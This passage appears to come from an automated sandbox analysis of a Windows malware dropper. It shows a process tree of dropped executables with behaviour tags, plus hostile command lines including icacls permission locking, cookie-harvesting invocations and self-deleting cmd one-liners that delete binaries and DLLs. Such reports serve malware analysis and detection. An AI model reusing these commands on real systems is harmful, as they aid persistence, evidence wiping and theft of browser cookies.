                                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                            1⤵
                                                                                                                                                              PID:3620
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7F5D.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7F5D.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:5544
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\8172.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\8172.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:6024
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\8422.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\8422.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                              PID:3580
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                              PID:5420
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                                2⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                PID:5224
                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                  icacls "C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  PID:588
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\DCF1.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                  PID:4512
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\DCF1.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\DCF1.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:688
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\d135b4a1-8aed-4c0c-907a-6c13ae04efb8\build2.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\d135b4a1-8aed-4c0c-907a-6c13ae04efb8\build2.exe"
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                        PID:5452
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\d135b4a1-8aed-4c0c-907a-6c13ae04efb8\build2.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\d135b4a1-8aed-4c0c-907a-6c13ae04efb8\build2.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                          PID:5812
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\d135b4a1-8aed-4c0c-907a-6c13ae04efb8\build2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:4804
                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                taskkill /im build2.exe /f
                                                                                                                                                                                8⤵
                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                PID:764
                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                timeout /t 6
                                                                                                                                                                                8⤵
                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                PID:4904
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\DD6F.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\DD6F.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:4716
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\DDAF.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\DDAF.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:5196
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\E5FD.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\E5FD.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:2664
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\E9D6.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\E9D6.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:5424
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\EDCF.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\EDCF.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:1272
                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:5636
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\F2A2.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\F2A2.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                    PID:4924
                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                    C:\Windows\explorer.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:5332
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\F4A7.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\F4A7.exe
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:5144
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-8CHQF.tmp\F4A7.tmp
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-8CHQF.tmp\F4A7.tmp" /SL5="$C01F0,172303,88576,C:\Users\Admin\AppData\Local\Temp\F4A7.exe"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                          PID:5572
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-L3E5L.tmp\èeèrgegdè_éçè_)))_.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-L3E5L.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec7
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                            PID:4616
                                                                                                                                                                            • C:\Program Files\Uninstall Information\UCQPYFVPSS\irecord.exe
                                                                                                                                                                              "C:\Program Files\Uninstall Information\UCQPYFVPSS\irecord.exe" /VERYSILENT
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:6056
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-HR0F2.tmp\irecord.tmp
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-HR0F2.tmp\irecord.tmp" /SL5="$50292,5808768,66560,C:\Program Files\Uninstall Information\UCQPYFVPSS\irecord.exe" /VERYSILENT
                                                                                                                                                                                  5⤵
                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                  PID:5856
                                                                                                                                                                                  • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                                                                    "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                    PID:3620
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6a-f6ac0-860-b8abc-7b126f75f559d\Kysyryshaco.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\6a-f6ac0-860-b8abc-7b126f75f559d\Kysyryshaco.exe"
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                PID:5468
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\5c-2e984-0ee-f40a9-1ce0afffa07d7\Doburytoshe.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\5c-2e984-0ee-f40a9-1ce0afffa07d7\Doburytoshe.exe"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:5968
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kkiuryz5.030\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:4312
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c1osikis.yit\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:5200
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kuwj4j5a.5ci\ifhwwyy.exe & exit
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:5172
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\kuwj4j5a.5ci\ifhwwyy.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\kuwj4j5a.5ci\ifhwwyy.exe
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:4296
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:5352
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:2020
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lahwhfl3.vid\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:5736
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\lahwhfl3.vid\Setup3310.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\lahwhfl3.vid\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:5512
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-7HPOH.tmp\Setup3310.tmp
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-7HPOH.tmp\Setup3310.tmp" /SL5="$150270,138429,56832,C:\Users\Admin\AppData\Local\Temp\lahwhfl3.vid\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                        PID:2608
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-8JROR.tmp\Setup.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-8JROR.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                          PID:5964
                                                                                                                                                                                                          • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                              PID:6132
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:4932
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:7044
                                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                  PID:4444
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                                    "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    PID:6572
                                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                    PID:5200
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-IHHKK.tmp\LabPicV3.tmp
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-IHHKK.tmp\LabPicV3.tmp" /SL5="$203DE,448783,365056,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      PID:5204
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-Q6V6N.tmp\758____Dawn.exe
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-Q6V6N.tmp\758____Dawn.exe" /S /UID=lab214
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                        PID:6264
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\prolab.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                            PID:6988
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-5MQK1.tmp\prolab.tmp
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-5MQK1.tmp\prolab.tmp" /SL5="$104A0,575243,216576,C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                              PID:7064
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\5c-db844-6ad-0a599-859fece080138\Jopowaelovae.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\5c-db844-6ad-0a599-859fece080138\Jopowaelovae.exe"
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:7092
                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                dw20.exe -x -s 2240
                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                  PID:5548
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\cf-524bb-e61-812b9-7a13dd1bf9217\Tynebokuje.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\cf-524bb-e61-812b9-7a13dd1bf9217\Tynebokuje.exe"
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:6148
                                                                                                                                                                                                                          • C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                              PID:3460
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-IHHKJ.tmp\lylal220.tmp
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-IHHKJ.tmp\lylal220.tmp" /SL5="$203E0,389391,305664,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                PID:3452
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-H5OSE.tmp\ElZané_çé_.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-H5OSE.tmp\ElZané_çé_.exe" /S /UID=lylal220
                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:6396
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\irecord.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                      PID:6784
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-4DL4O.tmp\irecord.tmp
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-4DL4O.tmp\irecord.tmp" /SL5="$1056A,5808768,66560,C:\Users\Admin\AppData\Local\Temp\GXHOOERTFS\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                        PID:6916
                                                                                                                                                                                                                                        • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                          PID:5572
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\88-8e459-33b-cfca7-46a9765e25db6\Ryvaeshoshumae.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\88-8e459-33b-cfca7-46a9765e25db6\Ryvaeshoshumae.exe"
                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                        PID:7112
                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                          dw20.exe -x -s 1952
                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                            PID:4292
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\68-0e5cb-1c0-597b2-58afc76dbbf84\SHusaeboqefu.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\68-0e5cb-1c0-597b2-58afc76dbbf84\SHusaeboqefu.exe"
                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                            PID:7012
                                                                                                                                                                                                                                    • C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                        PID:4196
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-JDDKQ.tmp\MediaBurner.tmp
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-JDDKQ.tmp\MediaBurner.tmp" /SL5="$203F2,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                          PID:908
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-21R8K.tmp\JFHGSFGSIUGFSUIG.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-21R8K.tmp\JFHGSFGSIUGFSUIG.exe" /S /UID=burnerch1
                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                              PID:6300
                                                                                                                                                                                                                                              • C:\Program Files\Windows Media Player\JBRMAHOMLY\ultramediaburner.exe
                                                                                                                                                                                                                                                "C:\Program Files\Windows Media Player\JBRMAHOMLY\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                  PID:6760
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-QJE17.tmp\ultramediaburner.tmp
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-QJE17.tmp\ultramediaburner.tmp" /SL5="$30496,281924,62464,C:\Program Files\Windows Media Player\JBRMAHOMLY\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                    PID:7076
                                                                                                                                                                                                                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                                                                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                        PID:5316
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\72-f5238-16d-dbdbd-de089e2c5f5aa\Nujitiguzhe.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\72-f5238-16d-dbdbd-de089e2c5f5aa\Nujitiguzhe.exe"
                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                      PID:7152
                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                        dw20.exe -x -s 2000
                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                          PID:6380
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\35-64124-9c8-54c8e-49c3fdece14be\Wajaejehiny.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\35-64124-9c8-54c8e-49c3fdece14be\Wajaejehiny.exe"
                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                          PID:2876
                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                      PID:5360
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\7433091.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\7433091.exe"
                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                          PID:6292
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\5121139.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\5121139.exe"
                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                          • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                          PID:6324
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\3114535.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\3114535.exe"
                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                            PID:6352
                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                          PID:2664
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                              PID:7016
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                taskkill /im RunWW.exe /f
                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                PID:6592
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                timeout /t 6
                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                PID:2904
                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mxnqtcx5.p4l\google-game.exe & exit
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:5876
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\mxnqtcx5.p4l\google-game.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\mxnqtcx5.p4l\google-game.exe
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                                                        PID:3976
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                                                                          "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          PID:4980
                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jstcqsfp.o1h\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:4932
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zsm2luzp.daa\toolspab1.exe & exit
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:4804
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\zsm2luzp.daa\toolspab1.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\zsm2luzp.daa\toolspab1.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                            PID:5332
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\zsm2luzp.daa\toolspab1.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\zsm2luzp.daa\toolspab1.exe
                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                              PID:4536
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:2956
                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                    C:\Windows\explorer.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
